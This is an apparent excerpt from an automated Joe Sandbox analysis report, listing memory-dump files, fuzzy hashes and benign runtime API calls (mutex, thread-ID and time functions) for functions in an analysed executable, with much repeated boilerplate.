Associated: 00000000.00000002.1785780599.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785794921.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785812137.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000BAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785878841.0000000000BDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785895363.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785907987.0000000000BE2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785935901.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785949417.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785971464.0000000000BF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785984264.0000000000BF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785996934.0000000000BF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786009156.0000000000BF8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3846b0974e46962929a827191a560be8d52856489b11ecc54a0700c212555480
Instruction ID: b1439a643a9221dfb4880f0782a79dceaabfdd8496c3160f22bbb6f362d12e75
Opcode Fuzzy Hash: 3846b0974e46962929a827191a560be8d52856489b11ecc54a0700c212555480
Instruction Fuzzy Hash: B5118623F30C355B675C81AD8C172BAA5D6EBD825071F533AD826E7284E9A4DE23D290

Function 00928860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000000.00000002.1784942184.00000000008E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1784955093.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785013847.0000000000949000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785030926.000000000094B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785046028.0000000000957000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785136788.0000000000AA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785156587.0000000000AA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785177353.0000000000AC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785190504.0000000000AC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785214639.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785228147.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000AC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785266929.0000000000AD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785281584.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785293535.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785305773.0000000000AD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785319740.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785338207.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785351220.0000000000AE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785371328.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785394068.0000000000AFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785417878.0000000000B0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785437158.0000000000B0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785455181.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785476289.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785506719.0000000000B1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785528626.0000000000B28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785542860.0000000000B2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785570995.0000000000B2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785585596.0000000000B34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785605026.0000000000B35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785620513.0000000000B39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785639565.0000000000B51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785659085.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785680101.0000000000B5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785693383.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785719588.0000000000B61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732990.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785751241.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785765659.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785780599.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785794921.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785812137.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000BAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785878841.0000000000BDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785895363.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785907987.0000000000BE2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785935901.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785949417.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785971464.0000000000BF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785984264.0000000000BF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785996934.0000000000BF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786009156.0000000000BF8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: d9fdea6f2180638958db158a94ac13e9e3a6ad31b76f1715de998225a31b76af
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 16112B772031B243E618862DF8B46B7A79DEBD53217EC437AD0618B75CDE22E9459A00

Function 0091A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000000.00000002.1784942184.00000000008E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1784955093.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785013847.0000000000949000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785030926.000000000094B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785046028.0000000000957000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785136788.0000000000AA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785156587.0000000000AA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785177353.0000000000AC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785190504.0000000000AC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785214639.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785228147.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000AC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785266929.0000000000AD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785281584.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785293535.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785305773.0000000000AD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785319740.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785338207.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785351220.0000000000AE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785371328.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785394068.0000000000AFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785417878.0000000000B0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785437158.0000000000B0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785455181.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785476289.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785506719.0000000000B1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785528626.0000000000B28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785542860.0000000000B2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785570995.0000000000B2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785585596.0000000000B34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785605026.0000000000B35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785620513.0000000000B39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785639565.0000000000B51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785659085.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785680101.0000000000B5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785693383.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785719588.0000000000B61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732990.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785751241.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785765659.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785780599.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785794921.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785812137.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000BAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785878841.0000000000BDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785895363.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785907987.0000000000BE2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785935901.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785949417.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785971464.0000000000BF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785984264.0000000000BF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785996934.0000000000BF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786009156.0000000000BF8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 94d97cff41afd6ddd9db5ca22aa5ec62063d7e070e0ab8684482f7929ee1ebaf
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 6CE08C72A2222CEBCB14DB98C904ACAF3ECEB89B40B650496F521D3150C270DE40C7D0

Function 008E2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 008E2F5F
GetCurrentThreadId.KERNEL32 ref: 008E2F7E
__Mtx_unlock.LIBCPMT ref: 008E2FCC
__Cnd_broadcast.LIBCPMT ref: 008E2FE3
__Mtx_unlock.LIBCPMT ref: 008E30F5
GetCurrentThreadId.KERNEL32 ref: 008E3132
__Mtx_unlock.LIBCPMT ref: 008E319B

Memory Dump Source

Source File: 00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000000.00000002.1784942184.00000000008E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1784955093.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785013847.0000000000949000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785030926.000000000094B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785046028.0000000000957000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785136788.0000000000AA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785156587.0000000000AA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785177353.0000000000AC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785190504.0000000000AC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785214639.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785228147.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000AC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785266929.0000000000AD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785281584.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785293535.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785305773.0000000000AD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785319740.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785338207.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785351220.0000000000AE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785371328.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785394068.0000000000AFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785417878.0000000000B0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785437158.0000000000B0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785455181.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785476289.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785506719.0000000000B1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785528626.0000000000B28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785542860.0000000000B2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785570995.0000000000B2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785585596.0000000000B34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785605026.0000000000B35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785620513.0000000000B39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785639565.0000000000B51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785659085.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785680101.0000000000B5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785693383.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785719588.0000000000B61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732990.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785751241.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785765659.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785780599.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785794921.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785812137.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000BAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785878841.0000000000BDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785895363.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785907987.0000000000BE2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785935901.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785949417.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785971464.0000000000BF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785984264.0000000000BF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785996934.0000000000BF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786009156.0000000000BF8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 153ef58a2ea596c978dfddb892621787155b021fc3f3db49fd8f10bf2c58044e
Instruction ID: 5834fe68dcbca01edc149d4a6563e71b116c6d478c86bfe1967ef83d780e7b41
Opcode Fuzzy Hash: 153ef58a2ea596c978dfddb892621787155b021fc3f3db49fd8f10bf2c58044e
Instruction Fuzzy Hash: C0A1D170A05649AFDB20DF7AC94876AB7A8FF16314F048129E915D7241EB35EE04CB92

Function 0091CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0091CC66

Memory Dump Source

Source File: 00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000000.00000002.1784942184.00000000008E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1784955093.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785013847.0000000000949000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785030926.000000000094B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785046028.0000000000957000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785136788.0000000000AA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785156587.0000000000AA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785177353.0000000000AC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785190504.0000000000AC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785214639.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785228147.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000AC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785266929.0000000000AD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785281584.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785293535.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785305773.0000000000AD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785319740.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785338207.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785351220.0000000000AE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785371328.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785394068.0000000000AFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785417878.0000000000B0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785437158.0000000000B0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785455181.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785476289.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785506719.0000000000B1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785528626.0000000000B28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785542860.0000000000B2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785570995.0000000000B2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785585596.0000000000B34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785605026.0000000000B35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785620513.0000000000B39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785639565.0000000000B51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785659085.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785680101.0000000000B5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785693383.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785719588.0000000000B61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732990.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785751241.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785765659.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785780599.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785794921.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785812137.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000BAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785878841.0000000000BDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785895363.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785907987.0000000000BE2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785935901.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785949417.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785971464.0000000000BF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785984264.0000000000BF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785996934.0000000000BF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786009156.0000000000BF8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction ID: 32777f9778e3399eac3554d8c283287c2339924040a873bf8790a2d04de88814
Opcode Fuzzy Hash: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction Fuzzy Hash: 8CB146B2B402599FDB11CF28C8817FEBBE9EF45340F14456AE854EB281D6349D81CBA0

Function 008FBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 008FBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 008FBBE4
_xtime_get.LIBCPMT ref: 008FBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 008FBC13

Memory Dump Source

Source File: 00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000000.00000002.1784942184.00000000008E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1784955093.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785013847.0000000000949000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785030926.000000000094B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785046028.0000000000957000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785136788.0000000000AA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785156587.0000000000AA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785177353.0000000000AC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785190504.0000000000AC1000.00000080.00000001.01000000.00000003.sdmpDownload File
